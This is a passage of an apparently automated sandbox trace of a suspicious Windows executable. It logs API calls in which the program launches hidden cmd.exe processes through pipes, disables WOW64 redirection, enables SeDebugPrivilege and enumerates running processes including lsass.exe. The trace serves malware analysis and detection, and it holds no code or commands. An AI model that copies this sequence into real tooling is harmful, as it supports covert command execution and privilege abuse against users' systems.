0x48f9c8 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x62) returned 0x48fa38 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48faa8 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48faa8 | out: hHeap=0x470000) returned 1 [0073.520] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x48f9c8, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fa38 | out: hHeap=0x470000) returned 1 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48f9c8, Size=0xc2) returned 0x48f9c8 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xc2) returned 0x48fa98 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48fb68 [0073.520] GetProcessHeap () returned 0x470000 [0073.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fb68 | out: hHeap=0x470000) returned 1 [0073.521] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x48f9c8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fa98 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a380 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48fa98 [0073.521] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48fa98, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48fa98 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x182) returned 0x48fa98 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x24e) returned 0x48fc28 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x98) returned 0x48a380 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48a380, Size=0xb6) returned 0x48a380 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x6a) returned 0x48fe80 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f0e0 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f2f8 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f928 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.521] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48f9c8 | out: hHeap=0x470000) returned 1 [0073.521] GetProcessHeap () returned 0x470000 [0073.522] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.522] GetProcessHeap () returned 0x470000 [0073.522] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0073.522] GetProcessHeap () returned 0x470000 [0073.522] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.522] GetProcessHeap () returned 0x470000 [0073.522] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a1f0 | out: hHeap=0x470000) returned 1 [0073.522] GetProcessHeap () returned 0x470000 [0073.522] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48db08 [0073.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2721e5, lpParameter=0x48db08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0073.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x272291, lpParameter=0x1cfd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0073.525] GetProcessHeap () returned 0x470000 [0073.525] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48db68 [0073.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x272058, lpParameter=0x48db68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0073.527] GetProcessHeap () returned 0x470000 [0073.527] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48dba8 [0073.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x27196d, lpParameter=0x48dba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0073.528] GetProcessHeap () returned 0x470000 [0073.528] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48dbe8 [0073.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x271bbc, lpParameter=0x48dbe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0073.530] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x5f4 Thread: id = 11 os_tid = 0x688 [0073.497] GetProcessHeap () returned 0x470000 [0073.497] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489d20 [0073.497] GetProcessHeap () returned 0x470000 [0073.497] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x48db08 [0073.497] GetProcessHeap () returned 0x470000 [0073.497] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48db28 [0073.497] GetProcessHeap () returned 0x470000 [0073.497] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b168 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.498] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48db08, nSize=0xa | out: lpDst="") returned 0x1c [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48db28 | out: hHeap=0x470000) returned 1 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48db08, Size=0x26) returned 0x48adf8 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x26) returned 0x48e5c0 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b168 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.498] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48adf8, nSize=0x13 | out: lpDst="") returned 0x1c [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e5c0 | out: hHeap=0x470000) returned 1 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48adf8, Size=0x4a) returned 0x48a460 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4a) returned 0x48b168 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.498] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48a460, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0073.498] GetProcessHeap () returned 0x470000 [0073.498] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.499] GetProcessHeap () returned 0x470000 [0073.499] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.499] GetProcessHeap () returned 0x470000 [0073.499] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48b168 [0073.499] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.499] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.499] Wow64DisableWow64FsRedirection (in: OldValue=0x20ef894 | out: OldValue=0x20ef894*=0x0) returned 1 [0073.499] GetProcessHeap () returned 0x470000 [0073.499] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.499] CreatePipe (in: hReadPipe=0x20ef888, hWritePipe=0x20ef884, lpPipeAttributes=0x20ef8a4, nSize=0x0 | out: hReadPipe=0x20ef888*=0xf8, hWritePipe=0x20ef884*=0xa4) returned 1 [0073.500] CreatePipe (in: hReadPipe=0x20ef88c, hWritePipe=0x20ef890, lpPipeAttributes=0x20ef8a4, nSize=0x0 | out: hReadPipe=0x20ef88c*=0x100, hWritePipe=0x20ef890*=0x104) returned 1 [0073.500] SetHandleInformation (hObject=0xa4, dwMask=0x1, dwFlags=0x0) returned 1 [0073.500] SetHandleInformation (hObject=0x100, dwMask=0x1, dwFlags=0x0) returned 1 [0073.500] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x20ef8c0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf8, hStdOutput=0x104, hStdError=0x104), lpProcessInformation=0x20ef8b0 | out: lpCommandLine=0x0, lpProcessInformation=0x20ef8b0*(hProcess=0x128, hThread=0x190, dwProcessId=0x83c, dwThreadId=0x84c)) returned 1 [0073.860] WriteFile (in: hFile=0xa4, lpBuffer=0x48e290*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x20ef8a0, lpOverlapped=0x0 | out: lpBuffer=0x48e290*, lpNumberOfBytesWritten=0x20ef8a0*=0xc2, lpOverlapped=0x0) returned 1 [0073.860] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0x6ec [0073.504] GetProcessHeap () returned 0x470000 [0073.504] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489d20 [0073.504] GetProcessHeap () returned 0x470000 [0073.504] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x14) returned 0x48db08 [0073.504] GetProcessHeap () returned 0x470000 [0073.504] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x14) returned 0x48db28 [0073.504] GetProcessHeap () returned 0x470000 [0073.504] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b168 [0073.504] GetProcessHeap () returned 0x470000 [0073.504] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.504] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48db08, nSize=0xa | out: lpDst="") returned 0x1c [0073.504] GetProcessHeap () returned 0x470000 [0073.504] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48db28 | out: hHeap=0x470000) returned 1 [0073.504] GetProcessHeap () returned 0x470000 [0073.505] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48db08, Size=0x26) returned 0x48adf8 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x26) returned 0x48e5c0 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48b168 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b168 | out: hHeap=0x470000) returned 1 [0073.505] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48adf8, nSize=0x13 | out: lpDst="") returned 0x1c [0073.505] GetProcessHeap () returned 0x470000 [0073.505] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e5c0 | out: hHeap=0x470000) returned 1 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x48adf8, Size=0x4a) returned 0x48b168 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x4a) returned 0x48e360 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e3b8 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e3b8 | out: hHeap=0x470000) returned 1 [0073.505] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x48b168, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0073.505] GetProcessHeap () returned 0x470000 [0073.505] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.505] GetProcessHeap () returned 0x470000 [0073.505] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48e360 [0073.506] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.506] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.506] Wow64DisableWow64FsRedirection (in: OldValue=0x226f77c | out: OldValue=0x226f77c*=0x0) returned 1 [0073.506] GetProcessHeap () returned 0x470000 [0073.506] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.506] CreatePipe (in: hReadPipe=0x226f770, hWritePipe=0x226f76c, lpPipeAttributes=0x226f78c, nSize=0x0 | out: hReadPipe=0x226f770*=0x108, hWritePipe=0x226f76c*=0x10c) returned 1 [0073.506] CreatePipe (in: hReadPipe=0x226f774, hWritePipe=0x226f778, lpPipeAttributes=0x226f78c, nSize=0x0 | out: hReadPipe=0x226f774*=0x110, hWritePipe=0x226f778*=0x114) returned 1 [0073.506] SetHandleInformation (hObject=0x10c, dwMask=0x1, dwFlags=0x0) returned 1 [0073.506] SetHandleInformation (hObject=0x110, dwMask=0x1, dwFlags=0x0) returned 1 [0073.507] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x226f7a8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x108, hStdOutput=0x114, hStdError=0x114), lpProcessInformation=0x226f798 | out: lpCommandLine=0x0, lpProcessInformation=0x226f798*(hProcess=0x170, hThread=0x16c, dwProcessId=0x25c, dwThreadId=0x80c)) returned 1 [0073.711] WriteFile (in: hFile=0x10c, lpBuffer=0x48d9e0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x226f788, lpOverlapped=0x0 | out: lpBuffer=0x48d9e0*, lpNumberOfBytesWritten=0x226f788*=0x5b, lpOverlapped=0x0) returned 1 [0073.711] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0xffffffff) Thread: id = 13 os_tid = 0x544 [0073.533] GetProcessHeap () returned 0x470000 [0073.533] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x440) returned 0x48fef8 [0073.533] GetProcessHeap () returned 0x470000 [0073.533] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x48e7d0 [0073.533] GetCurrentProcess () returned 0xffffffff [0073.533] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x24afcd0 | out: TokenHandle=0x24afcd0*=0x128) returned 1 [0073.533] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x24afcc8 | out: lpLuid=0x24afcc8*(LowPart=0x14, HighPart=0)) returned 1 [0073.536] AdjustTokenPrivileges (in: TokenHandle=0x128, DisableAllPrivileges=0, NewState=0x24afcb8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0073.536] CloseHandle (hObject=0x128) returned 1 [0073.536] GetProcessHeap () returned 0x470000 [0073.536] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e7d0 | out: hHeap=0x470000) returned 1 [0073.536] GetProcessHeap () returned 0x470000 [0073.536] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x434) returned 0x4904a0 [0073.536] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0073.554] Process32FirstW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.555] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.555] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.557] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.557] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.558] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.559] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.559] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.560] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.561] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.561] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.562] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.563] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.563] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.564] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.565] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.565] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.566] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.567] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.567] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.568] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.569] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.569] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.570] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.571] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0073.622] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0073.623] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0073.623] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, 